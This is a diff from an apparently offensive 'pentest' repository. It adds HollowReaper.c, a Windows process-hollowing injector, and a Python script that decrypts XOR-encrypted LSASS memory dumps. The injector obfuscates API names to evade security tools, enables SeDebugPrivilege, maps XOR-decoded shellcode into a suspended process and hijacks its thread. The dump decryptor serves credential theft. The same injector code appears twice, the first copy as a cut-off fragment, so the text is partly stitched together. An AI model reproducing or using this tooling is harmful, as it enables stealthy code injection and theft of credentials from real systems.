+    PFN_RT pRT = (PFN_RT)CustomGetProcAddress(hKernel32, strRT);
+    SecureZeroMemory(strRT, sizeof(RT_ENC)); free(strRT);
+
+    // NTDLL.DLL APIs
+    memcpy(strNTCS, NTCS_ENC, sizeof(NTCS_ENC));
+    strNTCS = xor_decrypt_string(NTCS_ENC, sizeof(NTCS_ENC), XOR_KEY, key_len);
+    PFN_NTCS pNCS = (PFN_NTCS)CustomGetProcAddress(hNtdll, strNTCS);
+    SecureZeroMemory(strNTCS, sizeof(NTCS_ENC)); free(strNTCS);
+
+    memcpy(strNTMVS, NTMVS_ENC, sizeof(NTMVS_ENC));
+    strNTMVS = xor_decrypt_string(NTMVS_ENC, sizeof(NTMVS_ENC), XOR_KEY, key_len);
+    PFN_NTMVOS pNMVOS = (PFN_NTMVOS)CustomGetProcAddress(hNtdll, strNTMVS);
+    SecureZeroMemory(strNTMVS, sizeof(NTMVS_ENC)); free(strNTMVS);
+
+    // ADVAPI32.DLL APIs
+    memcpy(strOPT, OPT_ENC, sizeof(OPT_ENC));
+    strOPT = xor_decrypt_string(OPT_ENC, sizeof(OPT_ENC), XOR_KEY, key_len);
+    PFN_OPT pOPT = (PFN_OPT)CustomGetProcAddress(hAdvapi32, strOPT);
+    SecureZeroMemory(strOPT, sizeof(OPT_ENC)); free(strOPT);
+
+    memcpy(strATP, ATP_ENC, sizeof(ATP_ENC));
+    strATP = xor_decrypt_string(ATP_ENC, sizeof(ATP_ENC), XOR_KEY, key_len);
+    PFN_ATP pATP = (PFN_ATP)CustomGetProcAddress(hAdvapi32, strATP);
+    SecureZeroMemory(strATP, sizeof(ATP_ENC)); free(strATP);
+
+    memcpy(strLPVA, LPVA_ENC, sizeof(LPVA_ENC));
+    strLPVA = xor_decrypt_string(LPVA_ENC, sizeof(LPVA_ENC), XOR_KEY, key_len);
+    PFN_LPVA pLPVA = (PFN_LPVA)CustomGetProcAddress(hAdvapi32, strLPVA);
+    SecureZeroMemory(strLPVA, sizeof(LPVA_ENC)); free(strLPVA);
+
+    memcpy(strGTC, GTC_ENC, sizeof(GTC_ENC));
+    strGTC = xor_decrypt_string((unsigned char*)strGTC, sizeof(GTC_ENC), XOR_KEY, key_len);
+    PFN_GTC pGTC = (PFN_GTC)CustomGetProcAddress(hKernel32, strGTC);
+    SecureZeroMemory(strGTC, sizeof(GTC_ENC)); free(strGTC);
+
+    memcpy(strSTC, STC_ENC, sizeof(STC_ENC));
+    strSTC = xor_decrypt_string((unsigned char*)strSTC, sizeof(STC_ENC), XOR_KEY, key_len);
+    PFN_STC pSTC = (PFN_STC)CustomGetProcAddress(hKernel32, strSTC);
+    SecureZeroMemory(strSTC, sizeof(STC_ENC)); free(strSTC);
+
+    memcpy(strGCP, GCP_ENC, sizeof(GCP_ENC));
+    strGCP = xor_decrypt_string((unsigned char*)strGCP, sizeof(GCP_ENC), XOR_KEY, key_len);
+    PFN_GCP pGCP = (PFN_GCP)CustomGetProcAddress(hKernel32, strGCP);
+    SecureZeroMemory(strGCP, sizeof(GCP_ENC)); free(strGCP);
+
+    // Check all resolved
+    if (!pCPW || !pRT || !pNCS || !pNMVOS || !pOPT || !pATP || !pLPVA) {
+        printf("[ERROR] Error retrieving API addresses.\n");
+        return 1;
+    }
+
+
+    // Enabling SeDebugPrivilege
+    HANDLE hToken = NULL;
+    LUID luid;
+    TOKEN_PRIVILEGES tp;
+
+    printf("[*] Requesting S DBG PVG...\n");
+    if (!pOPT(pGCP(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
+        // printf("[!] OPT failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+
+    // "SeDebugPrivilege"
+    static const unsigned char SEDBG_ENC[] = {
+        0x63, 0x54, 0x76, 0x56, 0x56, 0x40, 0x51, 0x67, 0x4A, 0x50, 0x17, 0x0B, 0x0F, 0x01, 0x02, 0x03
+    };
+
+    char* strSEDBG = (char*)malloc(sizeof(SEDBG_ENC));
+    if (!strSEDBG) {
+        printf("[ERROR] Memory allocation failed for S DBG PVG\n");
+        return 1;
+    }
+    memcpy(strSEDBG, SEDBG_ENC, sizeof(SEDBG_ENC));
+    strSEDBG = xor_decrypt_string((unsigned char*)strSEDBG, sizeof(SEDBG_ENC), XOR_KEY, key_len);
+
+
+    if (!pLPVA(NULL, strSEDBG, &luid)) {
+        // printf("[!] LPVA failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+    tp.PrivilegeCount = 1;
+    DWORD se_enabled_obfuscated = 0xA5 ^ 0xA7;  // 0x02
+    tp.Privileges->Attributes = se_enabled_obfuscated;
+    // tp.Privileges->Attributes = SE_PRIVILEGE_ENABLED;
+    tp.Privileges->Luid = luid;
+    if (!pATP(hToken, FALSE, &tp, 0, NULL, NULL)) {
+        // printf("[!] ATP failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+
+    printf("[+] S DBG PVG enabled.\n");
+
+    // Obtain the target executable path (from command line or stdin)
+    char exePathA[MAX_PATH] = { 0 };
+    if (argc > 1) {
+        strncpy(exePathA, argv[1], MAX_PATH - 1);
+        printf("[+] Path provided from command line: %s\n", exePathA);
+    }
+    else {
+        printf("[*] Enter the full path of the executable: ");
+        if (!fgets(exePathA, sizeof(exePathA), stdin)) {
+            printf("[ERROR] Error reading the path.\n");
+            return 1;
+        }
+        exePathA[strcspn(exePathA, "\r\n")] = '\0';
+    }
+    if (strlen(exePathA) == 0) {
+        printf("[ERROR] Invalid path!\n");
+        return 1;
+    }
+    wchar_t* exePathW = to_wide(exePathA);
+    if (!exePathW) {
+        printf("[ERROR] Error converting the path to Unicode.\n");
+        return 1;
+    }
+
+    // Create the process in a suspended state
+
+    STARTUPINFOW si;
+    PROCESS_INFORMATION pi;
+    ZeroMemory(&si, sizeof(si));
+    si.cb = sizeof(si);
+    ZeroMemory(&pi, sizeof(pi));
+    if (!pCPW(exePathW, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
+        // printf("[ERROR] Error creating the process, code: %lu\n", GetLastError());
+        free(exePathW);
+        return 1;
+    }
+    free(exePathW);
+    printf("[+] Process created in suspended state, PID: %lu\n", pi.dwProcessId);
+
+    // Deobfuscate the shellcode
+    unsigned char shellcode_enc[] = {
+        0xD8, 0xF1, 0x45, 0x33, ...
+    };
+    size_t shellcode_len = sizeof(shellcode_enc);
+    xor_decrypt_buffer(shellcode_enc, shellcode_len, XOR_KEY, key_len);
+
+    // Create section
+    HANDLE hSection = NULL;
+    LARGE_INTEGER sectionSize = { 0 };
+    sectionSize.QuadPart = shellcode_len;
+    NTSTATUS status = pNCS(&hSection, SECTION_ALL_ACCESS, NULL, &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
+    if (status != 0 || !hSection) {
+        printf("[ERROR] NCS failed: 0x%08X\n", status);
+        return 1;
+    }
+
+    // Map section to local process
+    PVOID localBaseAddress = NULL;
+    SIZE_T viewSize = 0;
+    status = pNMVOS(hSection, pGCP(), &localBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_READWRITE);
+    if (status != 0 || !localBaseAddress) {
+        printf("[ERROR] NMVOS (local) failed: 0x%08X\n", status);
+        return 1;
+    }
+    memcpy(localBaseAddress, shellcode_enc, shellcode_len);
+
+    // Map section to remote process
+    PVOID remoteBaseAddress = NULL;
+    viewSize = 0;
+    status = pNMVOS(hSection, pi.hProcess, &remoteBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ);
+    if (status != 0 || !remoteBaseAddress) {
+        printf("[ERROR] NMVOS (remote) failed: 0x%08X\n", status);
+        return 1;
+    }
+    printf("[+] Shellcode mapped at remote address: %p\n", remoteBaseAddress);
+
+    // Modify RIP to point to shellcode in remote process
+    CONTEXT ctx;
+    ctx.ContextFlags = CONTEXT_CONTROL;
+    if (!pGTC(pi.hThread, &ctx)) {
+        // printf("[ERROR] GTC failed: %lu\n", GetLastError());
+        return 1;
+    }
+#ifdef _WIN64
+    ctx.Rip = (DWORD64)remoteBaseAddress;
+#else
+    ctx.Eip = (DWORD)remoteBaseAddress;
+#endif
+    if (!pSTC(pi.hThread, &ctx)) {
+        // printf("[ERROR] STC failed: %lu\n", GetLastError());
+        return 1;
+    }
+
+    DWORD suspendCount = pRT(pi.hThread);
+    printf("[+] Thread resumed, suspend count: %lu\n", suspendCount);
+
+    // Cleanup: close handles
+    CloseHandle(pi.hThread);
+    CloseHandle(pi.hProcess);
+
+    printf("[+] Operation completed.\n");
+    return 0;
+}
diff --git a/pentest/Doppelganger/utils/RTCore64.sys b/pentest/Doppelganger/utils/RTCore64.sys
Binary files differ.
diff --git a/pentest/Doppelganger/utils/decrypt_xor_dump.py b/pentest/Doppelganger/utils/decrypt_xor_dump.py
@@ -0,0 +1,44 @@
+"""
+
+    Author: vari.sh
+
+    Description: This program is an utility to locally decrypt lsass.dmp files created with Doppelganger
+
+"""
+
+import sys
+
+# XOR key used during encryption
+XOR_KEY = b"0123456789abcdefghij"
+
+def xor_decrypt(data: bytes, key: bytes) -> bytes:
+    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
+
+def main():
+    if len(sys.argv) != 2:
+        print(f"Usage: {sys.argv[0]} <xor_dump_path>")
+        sys.exit(1)
+
+    encrypted_path = sys.argv[1]
+    output_path = encrypted_path + ".dec"
+
+    try:
+        with open(encrypted_path, "rb") as f:
+            data = f.read()
+    except IOError as e:
+        print(f"[!] Failed to read file: {e}")
+        sys.exit(1)
+
+    decrypted = xor_decrypt(data, XOR_KEY)
+
+    try:
+        with open(output_path, "wb") as f:
+            f.write(decrypted)
+    except IOError as e:
+        print(f"[!] Failed to write decrypted file: {e}")
+        sys.exit(1)
+
+    print(f"[+] Decryption successful. Output written to: {output_path}")
+
+if __name__ == "__main__":
+    main()
diff --git a/pentest/HollowReaper/HollowReaper.c b/pentest/HollowReaper/HollowReaper.c
@@ -0,0 +1,507 @@
+/*
+    Author: vari.sh
+    Description:
+       - This program implements process hollowing (it creates a suspended process,
+         injects a deobfuscated shellcode via XOR, and then resumes the thread).
+
+    Usage: Doppelganger.exe "C:\windows\explorer.exe"
+
+*/
+
+#define _CRT_SECURE_NO_WARNINGS
+#include <windows.h>
+#include <stdio.h>
+
+
+// =====================================================
+// API Deobfuscation Functions (XOR)
+// =====================================================
+
+// Function to decrypt a string (encrypted data is not null-terminated)
+char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len)
+{
+    char* result = (char*)malloc(len + 1);
+    if (!result) return NULL;
+    for (size_t i = 0; i < len; i++) {
+        result[i] = cipher[i] ^ key[i % key_len];
+    }
+    result[len] = '\0';
+    return result;
+}
+
+// Function to decrypt a buffer in-place (e.g., for shellcode)
+void xor_decrypt_buffer(unsigned char* buffer, size_t len, const char* key, size_t key_len)
+{
+    for (size_t i = 0; i < len; i++) {
+        buffer[i] ^= key[i % key_len];
+    }
+}
+
+// to_wide util function
+
+wchar_t* to_wide(const char* str) {
+    int len = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
+    if (len == 0) return NULL;
+    wchar_t* wstr = (wchar_t*)malloc(len * sizeof(wchar_t));
+    if (!wstr) return NULL;
+    MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len);
+    return wstr;
+}
+
+// =====================================================
+// Function to load clean versions of DLLs
+// =====================================================
+HMODULE LoadCleanDLL(char* dllPath) {
+
+    HMODULE hDLL = LoadLibraryA(dllPath);
+    if (hDLL)
+    {
+        // printf("[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL);
+    }
+    else
+    {
+        // printf("[ERROR] Failed to load %s. Error: %lu\n", dllPath, GetLastError());
+    }
+
+    return hDLL;
+}
+
+// =====================================================
+// get_proc_address reimplementation
+// =====================================================
+
+FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
+    if (hModule == NULL || lpProcName == NULL) {
+        printf("Invalid module handle or function name.\n");
+        return NULL;
+    }
+
+    // Get the base address of the module
+    BYTE* baseAddr = (BYTE*)hModule;
+
+    // Validate the DOS header
+    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddr;
+    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
+        printf("[!] Invalid DOS signature.\n");
+        return NULL;
+    }
+
+    // Retrieve the NT headers using the DOS header's e_lfanew field
+    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddr + dosHeader->e_lfanew);
+    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
+        printf("[!] Invalid NT signature.\n");
+        return NULL;
+    }
+
+    // Get the Export Directory from the Data Directory
+    IMAGE_DATA_DIRECTORY exportDataDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+    if (exportDataDir.VirtualAddress == 0) {
+        printf("[!] No export directory found.\n");
+        return NULL;
+    }
+
+    // Get a pointer to the Export Directory
+    IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + exportDataDir.VirtualAddress);
+
+    // Get pointers to the arrays of function addresses, names and name ordinals
+    DWORD* addressOfFunctions = (DWORD*)(baseAddr + exportDir->AddressOfFunctions);
+    DWORD* addressOfNames = (DWORD*)(baseAddr + exportDir->AddressOfNames);
+    WORD* addressOfNameOrdinals = (WORD*)(baseAddr + exportDir->AddressOfNameOrdinals);
+
+    // Iterate through the exported names to find the desired function
+    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
+        char* functionName = (char*)(baseAddr + addressOfNames[i]);
+        if (_stricmp(functionName, lpProcName) == 0) {
+            // Retrieve the ordinal for the found function
+            WORD ordinal = addressOfNameOrdinals[i];
+            // Get the RVA of the function
+            DWORD functionRVA = addressOfFunctions[ordinal];
+            // printf("[+] Found %s at ordinal %hu, RVA: 0x%08X\n", lpProcName, ordinal, functionRVA);
+            // Return the absolute address of the function
+            return (FARPROC)(baseAddr + functionRVA);
+        }
+    }
+
+    printf("[!] Function %s not found.\n", lpProcName);
+    return NULL;
+}
+
+// =====================================================
+// API Declarations
+// =====================================================
+
+// Loading API
+
+// "CreateProcessW"
+static const unsigned char CPW_ENC[] = {
+    0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x66, 0x45, 0x57, 0x5A, 0x04, 0x11, 0x10, 0x33
+};
+
+// "ResumeThread"
+static const unsigned char RT_ENC[] = {
+    0x62, 0x54, 0x41, 0x46, 0x59, 0x50, 0x62, 0x5F, 0x4A, 0x5C, 0x00, 0x06
+};
+
+// "NtCreateSection"
+static const unsigned char NTCS_ENC[] = {
+    0x7E, 0x45, 0x71, 0x41, 0x51, 0x54, 0x42, 0x52, 0x6B, 0x5C, 0x02, 0x16, 0x0A, 0x0B, 0x0B
+};
+
+// "NtMapViewOfSection"
+static const unsigned char NTMVS_ENC[] = {
+    0x7E, 0x45, 0x7F, 0x52, 0x44, 0x63, 0x5F, 0x52, 0x4F, 0x76, 0x07, 0x31, 0x06, 0x07, 0x11, 0x0F, 0x08, 0x06
+};
+
+// "OpenProcessToken"
+static const unsigned char OPT_ENC[] = {
+    0x7F, 0x41, 0x57, 0x5D, 0x64, 0x47, 0x59, 0x54, 0x5D, 0x4A, 0x12, 0x36, 0x0C, 0x0F, 0x00, 0x08
+};
+
+// "AdjustTokenPrivileges"
+static const unsigned char ATP_ENC[] = {
+    0x71, 0x55, 0x58, 0x46, 0x47, 0x41, 0x62, 0x58, 0x53, 0x5C, 0x0F, 0x32, 0x11, 0x0D, 0x13, 0x0F, 0x0B, 0x0D, 0x0E, 0x0F, 0x43
+};
+
+// "LookupPrivilegeValueA"
+static const unsigned char LPVA_ENC[] = {
+    0x7C, 0x5E, 0x5D, 0x58, 0x41, 0x45, 0x66, 0x45, 0x51, 0x4F, 0x08, 0x0E, 0x06, 0x03, 0x00, 0x30, 0x06, 0x04, 0x1C, 0x0F, 0x71
+};
+
+// "GetThreadContext"
+static const unsigned char GTC_ENC[] = {
+    0x77, 0x54, 0x46, 0x67, 0x5C, 0x47, 0x53, 0x56, 0x5C, 0x7A, 0x0E, 0x0C, 0x17, 0x01, 0x1D, 0x12
+};
+
+// "SetThreadContext"
+static const unsigned char STC_ENC[] = {
+    0x63, 0x54, 0x46, 0x67, 0x5C, 0x47, 0x53, 0x56, 0x5C, 0x7A, 0x0E, 0x0C, 0x17, 0x01, 0x1D, 0x12
+};
+
+// "GetCurrentProcess"
+static const unsigned char GCP_ENC[] = {
+    0x77, 0x54, 0x46, 0x70, 0x41, 0x47, 0x44, 0x52, 0x56, 0x4D, 0x31, 0x10, 0x0C, 0x07, 0x00, 0x15, 0x14
+};
+
+typedef BOOL(WINAPI* PFN_OPT)(
+    HANDLE ProcessHandle,
+    DWORD DesiredAccess,
+    PHANDLE TokenHandle
+    );
+
+typedef BOOL(WINAPI* PFN_ATP)(
+    HANDLE TokenHandle,
+    BOOL DisableAllPrivileges,
+    PTOKEN_PRIVILEGES NewState,
+    DWORD BufferLength,
+    PTOKEN_PRIVILEGES PreviousState,
+    PDWORD ReturnLength
+    );
+
+typedef BOOL(WINAPI* PFN_LPVA)(
+    LPCSTR lpSystemName,
+    LPCSTR lpName,
+    PLUID lpLuid
+    );
+
+typedef BOOL(WINAPI* PFN_CPW)(
+    LPCWSTR lpApplicationName,
+    LPWSTR lpCommandLine,
+    LPSECURITY_ATTRIBUTES lpProcessAttributes,
+    LPSECURITY_ATTRIBUTES lpThreadAttributes,
+    BOOL bInheritHandles,
+    DWORD dwCreationFlags,
+    LPVOID lpEnvironment,
+    LPCWSTR lpCurrentDirectory,
+    LPSTARTUPINFOW lpStartupInfo,
+    LPPROCESS_INFORMATION lpProcessInformation
+    );
+
+typedef DWORD(WINAPI* PFN_RT)(
+    HANDLE hThread
+    );
+
+typedef NTSTATUS(NTAPI* PFN_NTCS)(
+    PHANDLE SectionHandle,
+    ACCESS_MASK DesiredAccess,
+    PVOID ObjectAttributes,
+    PLARGE_INTEGER MaximumSize,
+    ULONG SectionPageProtection,
+    ULONG AllocationAttributes,
+    HANDLE FileHandle
+    );
+
+typedef NTSTATUS(NTAPI* PFN_NTMVOS)(
+    HANDLE SectionHandle,
+    HANDLE ProcessHandle,
+    PVOID* BaseAddress,
+    ULONG ZeroBits,
+    SIZE_T CommitSize,
+    PLARGE_INTEGER SectionOffset,
+    PSIZE_T ViewSize,
+    DWORD InheritDisposition,
+    ULONG AllocationType,
+    ULONG Win32Protect
+    );
+
+typedef BOOL(WINAPI* PFN_GTC)(
+    HANDLE hThread,
+    LPCONTEXT lpContext
+    );
+
+typedef BOOL(WINAPI* PFN_STC)(
+    HANDLE hThread,
+    const CONTEXT* lpContext
+    );
+
+typedef HANDLE(WINAPI* PFN_GCP)(
+    VOID
+    );
+
+// =====================================================
+// Main – Process Hollowing + LSASS EPROCESS Reading
+// =====================================================
+int main(int argc, char* argv[]) {
+    // Start
+    printf("[+] Starting Doppelganger\n");
+    Sleep(5000);
+
+    // Load clean versions of DLLs
+    char* kernel32Path = "C:\\Windows\\System32\\kernel32.dll";
+    HMODULE hKernel32 = LoadCleanDLL(kernel32Path);
+
+    char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll";
+    HMODULE hNtdll = LoadCleanDLL(ntdllPath);
+
+    char* advapi32Path = "C:\\Windows\\System32\\advapi32.dll";
+    HMODULE hAdvapi32 = LoadCleanDLL(advapi32Path);
+
+    if (!hKernel32 || !hNtdll || !hAdvapi32) {
+        printf("[!] Failed to load one or more DLLs\n");
+        return 1;
+    }
+
+    // XOR key definition
+    const char* XOR_KEY = "0123456789abcdefghij";
+    size_t key_len = strlen(XOR_KEY);
+
+    // deXORing names
+    char* strCPW = (char*)malloc(sizeof(CPW_ENC));
+    char* strRT = (char*)malloc(sizeof(RT_ENC));
+    char* strNTCS = (char*)malloc(sizeof(NTCS_ENC));
+    char* strNTMVS = (char*)malloc(sizeof(NTMVS_ENC));
+    char* strOPT = (char*)malloc(sizeof(OPT_ENC));
+    char* strATP = (char*)malloc(sizeof(ATP_ENC));
+    char* strLPVA = (char*)malloc(sizeof(LPVA_ENC));
+    char* strGTC = (char*)malloc(sizeof(GTC_ENC));
+    char* strSTC = (char*)malloc(sizeof(STC_ENC));
+    char* strGCP = (char*)malloc(sizeof(GCP_ENC));
+
+    if (!strCPW || !strRT || !strNTCS || !strNTMVS || !strOPT || !strATP || !strLPVA || !strGTC || !strSTC || !strGCP) {
+        printf("[ERROR] Memory allocation error\n");
+        return 1;
+    }
+
+    // KERNEL32.DLL APIs
+    memcpy(strCPW, CPW_ENC, sizeof(CPW_ENC));
+    strCPW = xor_decrypt_string((unsigned char*)strCPW, sizeof(CPW_ENC), XOR_KEY, key_len);
+    PFN_CPW pCPW = (PFN_CPW)CustomGetProcAddress(hKernel32, strCPW);
+    SecureZeroMemory(strCPW, sizeof(CPW_ENC)); free(strCPW);
+
+    memcpy(strRT, RT_ENC, sizeof(RT_ENC));
+    strRT = xor_decrypt_string((unsigned char*)strRT, sizeof(RT_ENC), XOR_KEY, key_len);
+    PFN_RT pRT = (PFN_RT)CustomGetProcAddress(hKernel32, strRT);
+    SecureZeroMemory(strRT, sizeof(RT_ENC)); free(strRT);
+
+    // NTDLL.DLL APIs
+    memcpy(strNTCS, NTCS_ENC, sizeof(NTCS_ENC));
+    strNTCS = xor_decrypt_string(NTCS_ENC, sizeof(NTCS_ENC), XOR_KEY, key_len);
+    PFN_NTCS pNCS = (PFN_NTCS)CustomGetProcAddress(hNtdll, strNTCS);
+    SecureZeroMemory(strNTCS, sizeof(NTCS_ENC)); free(strNTCS);
+
+    memcpy(strNTMVS, NTMVS_ENC, sizeof(NTMVS_ENC));
+    strNTMVS = xor_decrypt_string(NTMVS_ENC, sizeof(NTMVS_ENC), XOR_KEY, key_len);
+    PFN_NTMVOS pNMVOS = (PFN_NTMVOS)CustomGetProcAddress(hNtdll, strNTMVS);
+    SecureZeroMemory(strNTMVS, sizeof(NTMVS_ENC)); free(strNTMVS);
+
+    // ADVAPI32.DLL APIs
+    memcpy(strOPT, OPT_ENC, sizeof(OPT_ENC));
+    strOPT = xor_decrypt_string(OPT_ENC, sizeof(OPT_ENC), XOR_KEY, key_len);
+    PFN_OPT pOPT = (PFN_OPT)CustomGetProcAddress(hAdvapi32, strOPT);
+    SecureZeroMemory(strOPT, sizeof(OPT_ENC)); free(strOPT);
+
+    memcpy(strATP, ATP_ENC, sizeof(ATP_ENC));
+    strATP = xor_decrypt_string(ATP_ENC, sizeof(ATP_ENC), XOR_KEY, key_len);
+    PFN_ATP pATP = (PFN_ATP)CustomGetProcAddress(hAdvapi32, strATP);
+    SecureZeroMemory(strATP, sizeof(ATP_ENC)); free(strATP);
+
+    memcpy(strLPVA, LPVA_ENC, sizeof(LPVA_ENC));
+    strLPVA = xor_decrypt_string(LPVA_ENC, sizeof(LPVA_ENC), XOR_KEY, key_len);
+    PFN_LPVA pLPVA = (PFN_LPVA)CustomGetProcAddress(hAdvapi32, strLPVA);
+    SecureZeroMemory(strLPVA, sizeof(LPVA_ENC)); free(strLPVA);
+
+    memcpy(strGTC, GTC_ENC, sizeof(GTC_ENC));
+    strGTC = xor_decrypt_string((unsigned char*)strGTC, sizeof(GTC_ENC), XOR_KEY, key_len);
+    PFN_GTC pGTC = (PFN_GTC)CustomGetProcAddress(hKernel32, strGTC);
+    SecureZeroMemory(strGTC, sizeof(GTC_ENC)); free(strGTC);
+
+    memcpy(strSTC, STC_ENC, sizeof(STC_ENC));
+    strSTC = xor_decrypt_string((unsigned char*)strSTC, sizeof(STC_ENC), XOR_KEY, key_len);
+    PFN_STC pSTC = (PFN_STC)CustomGetProcAddress(hKernel32, strSTC);
+    SecureZeroMemory(strSTC, sizeof(STC_ENC)); free(strSTC);
+
+    memcpy(strGCP, GCP_ENC, sizeof(GCP_ENC));
+    strGCP = xor_decrypt_string((unsigned char*)strGCP, sizeof(GCP_ENC), XOR_KEY, key_len);
+    PFN_GCP pGCP = (PFN_GCP)CustomGetProcAddress(hKernel32, strGCP);
+    SecureZeroMemory(strGCP, sizeof(GCP_ENC)); free(strGCP);
+
+    // Check all resolved
+    if (!pCPW || !pRT || !pNCS || !pNMVOS || !pOPT || !pATP || !pLPVA) {
+        printf("[ERROR] Error retrieving API addresses.\n");
+        return 1;
+    }
+
+
+    // Enabling SeDebugPrivilege
+    HANDLE hToken = NULL;
+    LUID luid;
+    TOKEN_PRIVILEGES tp;
+
+    printf("[*] Requesting S DBG PVG...\n");
+    if (!pOPT(pGCP(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
+        // printf("[!] OPT failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+
+    // "SeDebugPrivilege"
+    static const unsigned char SEDBG_ENC[] = {
+        0x63, 0x54, 0x76, 0x56, 0x56, 0x40, 0x51, 0x67, 0x4A, 0x50, 0x17, 0x0B, 0x0F, 0x01, 0x02, 0x03
+    };
+
+    char* strSEDBG = (char*)malloc(sizeof(SEDBG_ENC));
+    if (!strSEDBG) {
+        printf("[ERROR] Memory allocation failed for S DBG PVG\n");
+        return 1;
+    }
+    memcpy(strSEDBG, SEDBG_ENC, sizeof(SEDBG_ENC));
+    strSEDBG = xor_decrypt_string((unsigned char*)strSEDBG, sizeof(SEDBG_ENC), XOR_KEY, key_len);
+
+
+    if (!pLPVA(NULL, strSEDBG, &luid)) {
+        // printf("[!] LPVA failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+    tp.PrivilegeCount = 1;
+    DWORD se_enabled_obfuscated = 0xA5 ^ 0xA7;  // 0x02
+    tp.Privileges->Attributes = se_enabled_obfuscated;
+    // tp.Privileges->Attributes = SE_PRIVILEGE_ENABLED;
+    tp.Privileges->Luid = luid;
+    if (!pATP(hToken, FALSE, &tp, 0, NULL, NULL)) {
+        // printf("[!] ATP failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+
+    printf("[+] S DBG PVG enabled.\n");
+
+    // Obtain the target executable path (from command line or stdin)
+    char exePathA[MAX_PATH] = { 0 };
+    if (argc > 1) {
+        strncpy(exePathA, argv[1], MAX_PATH - 1);
+        printf("[+] Path provided from command line: %s\n", exePathA);
+    }
+    else {
+        printf("[*] Enter the full path of the executable: ");
+        if (!fgets(exePathA, sizeof(exePathA), stdin)) {
+            printf("[ERROR] Error reading the path.\n");
+            return 1;
+        }
+        exePathA[strcspn(exePathA, "\r\n")] = '\0';
+    }
+    if (strlen(exePathA) == 0) {
+        printf("[ERROR] Invalid path!\n");
+        return 1;
+    }
+    wchar_t* exePathW = to_wide(exePathA);
+    if (!exePathW) {
+        printf("[ERROR] Error converting the path to Unicode.\n");
+        return 1;
+    }
+
+    // Create the process in a suspended state
+
+    STARTUPINFOW si;
+    PROCESS_INFORMATION pi;
+    ZeroMemory(&si, sizeof(si));
+    si.cb = sizeof(si);
+    ZeroMemory(&pi, sizeof(pi));
+    if (!pCPW(exePathW, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
+        // printf("[ERROR] Error creating the process, code: %lu\n", GetLastError());
+        free(exePathW);
+        return 1;
+    }
+    free(exePathW);
+    printf("[+] Process created in suspended state, PID: %lu\n", pi.dwProcessId);
+
+    // Deobfuscate the shellcode
+    unsigned char shellcode_enc[] = {
+        0xD8, 0xF1, 0x45, 0x33, ...
+    };
+    size_t shellcode_len = sizeof(shellcode_enc);
+    xor_decrypt_buffer(shellcode_enc, shellcode_len, XOR_KEY, key_len);
+
+    // Create section
+    HANDLE hSection = NULL;
+    LARGE_INTEGER sectionSize = { 0 };
+    sectionSize.QuadPart = shellcode_len;
+    NTSTATUS status = pNCS(&hSection, SECTION_ALL_ACCESS, NULL, &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
+    if (status != 0 || !hSection) {
+        printf("[ERROR] NCS failed: 0x%08X\n", status);
+        return 1;
+    }
+
+    // Map section to local process
+    PVOID localBaseAddress = NULL;
+    SIZE_T viewSize = 0;
+    status = pNMVOS(hSection, pGCP(), &localBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_READWRITE);
+    if (status != 0 || !localBaseAddress) {
+        printf("[ERROR] NMVOS (local) failed: 0x%08X\n", status);
+        return 1;
+    }
+    memcpy(localBaseAddress, shellcode_enc, shellcode_len);
+
+    // Map section to remote process
+    PVOID remoteBaseAddress = NULL;
+    viewSize = 0;
+    status = pNMVOS(hSection, pi.hProcess, &remoteBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ);
+    if (status != 0 || !remoteBaseAddress) {
+        printf("[ERROR] NMVOS (remote) failed: 0x%08X\n", status);
+        return 1;
+    }
+    printf("[+] Shellcode mapped at remote address: %p\n", remoteBaseAddress);
+
+    // Modify RIP to point to shellcode in remote process
+    CONTEXT ctx;
+    ctx.ContextFlags = CONTEXT_CONTROL;
+    if (!pGTC(pi.hThread, &ctx)) {
+        // printf("[ERROR] GTC failed: %lu\n", GetLastError());
+        return 1;
+    }
+#ifdef _WIN64
+    ctx.Rip = (DWORD64)remoteBaseAddress;
+#else
+    ctx.Eip = (DWORD)remoteBaseAddress;
+#endif
+    if (!pSTC(pi.hThread, &ctx)) {
+        // printf("[ERROR] STC failed: %lu\n", GetLastError());
+        return 1;
+    }
+
+    DWORD suspendCount = pRT(pi.hThread);
+    printf("[+] Thread resumed, suspend count: %lu\n", suspendCount);
+
+    // Cleanup: close handles
+    CloseHandle(pi.hThread);
+    CloseHandle(pi.hProcess);
+
+    printf("[+] Operation completed.\n");
+    return 0;
+}
